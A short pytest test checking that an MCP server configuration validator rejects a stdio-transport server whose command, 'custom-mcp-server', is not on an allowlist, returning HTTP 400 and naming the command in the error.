def test_validate_mcp_update_enforces_stdio_transport_alias(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest.model_validate(
|
|
{
|
|
"mcp_servers": {
|
|
"disallowed": {
|
|
"transport": "stdio",
|
|
"command": "custom-mcp-server",
|
|
}
|
|
}
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "custom-mcp-server" in exc_info.value.detail
|